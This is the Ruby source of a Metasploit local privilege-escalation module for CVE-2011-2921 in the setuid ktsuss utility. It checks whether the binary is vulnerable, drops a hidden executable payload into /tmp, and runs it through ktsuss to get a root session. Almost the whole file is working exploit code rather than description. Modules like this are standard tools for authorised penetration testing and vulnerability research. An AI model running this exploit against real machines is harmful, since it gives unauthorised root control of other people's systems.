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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Post::Linux::Priv
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  include Msf::Post::Linux::System
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'ktsuss suid Privilege Escalation',
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        'Description' => %q{
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          This module attempts to gain root privileges by exploiting
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          a vulnerability in ktsuss versions 1.4 and prior.
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          The ktsuss executable is setuid root and does not drop
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          privileges prior to executing user specified commands,
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          resulting in command execution with root privileges.
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          This module has been tested successfully on:
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          ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64); and
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          ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64).
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'John Lightsey', # Discovery and exploit
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          'bcoles'         # Metasploit
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        ],
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        'DisclosureDate' => '2011-08-13',
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        'References' => [
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          ['CVE', '2011-2921'],
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          ['URL', 'https://www.openwall.com/lists/oss-security/2011/08/13/2'],
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          ['URL', 'https://security.gentoo.org/glsa/201201-15'],
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          ['URL', 'https://github.com/bcoles/local-exploits/blob/master/CVE-2011-2921/ktsuss-lpe.sh']
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        ],
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        'Platform' => ['linux'],
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        'Arch' => [
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          ARCH_X86,
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          ARCH_X64,
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          ARCH_ARMLE,
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          ARCH_AARCH64,
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          ARCH_PPC,
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          ARCH_MIPSLE,
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          ARCH_MIPSBE
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        ],
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        'SessionTypes' => ['shell', 'meterpreter'],
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        'Targets' => [['Auto', {}]],
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        'DefaultOptions' => {
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          'AppendExit' => true,
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          'PrependSetresuid' => true,
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          'PrependSetresgid' => true,
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          'PrependSetreuid' => true,
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          'PrependSetuid' => true,
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          'PrependFork' => true
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        },
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        'Notes' => {
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          'Reliability' => [ REPEATABLE_SESSION ],
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          'Stability' => [ CRASH_SAFE ]
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        },
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        'DefaultTarget' => 0
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      )
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    )
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    register_options [
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      OptString.new('KTSUSS_PATH', [true, 'Path to staprun executable', '/usr/bin/ktsuss'])
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    ]
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    register_advanced_options [
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      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
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    ]
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  end
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  def ktsuss_path
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    datastore['KTSUSS_PATH']
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  end
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  def base_dir
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    datastore['WritableDir'].to_s
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  end
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  def upload(path, data)
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    print_status "Writing '#{path}' (#{data.size} bytes) ..."
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    rm_f path
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    write_file path, data
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    register_file_for_cleanup path
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  end
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  def upload_and_chmodx(path, data)
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    upload path, data
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    chmod path
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  end
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  def check
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    return CheckCode::Safe("#{ktsuss_path} file not found") unless file? ktsuss_path
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    return CheckCode::Safe("#{ktsuss_path} is not setuid") unless setuid? ktsuss_path
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    vprint_good "#{ktsuss_path} is setuid"
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    id = cmd_exec 'whoami'
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    res = cmd_exec("#{ktsuss_path} -u #{id} id").to_s
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    vprint_status res
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    unless res.include? 'uid=0'
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      return CheckCode::Safe
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    end
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    CheckCode::Vulnerable
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  end
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  def exploit
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    if !datastore['ForceExploit'] && is_root?
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      fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')
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    end
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    unless writable? base_dir
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      fail_with Failure::BadConfig, "#{base_dir} is not writable"
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    end
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    payload_name = ".#{rand_text_alphanumeric 10..15}"
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    payload_path = "#{base_dir}/#{payload_name}"
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    upload_and_chmodx payload_path, generate_payload_exe
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    print_status 'Executing payload ...'
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    id = cmd_exec 'whoami'
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    res = cmd_exec "#{ktsuss_path} -u #{id} #{payload_path} & echo "
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    vprint_line res
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  end
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end
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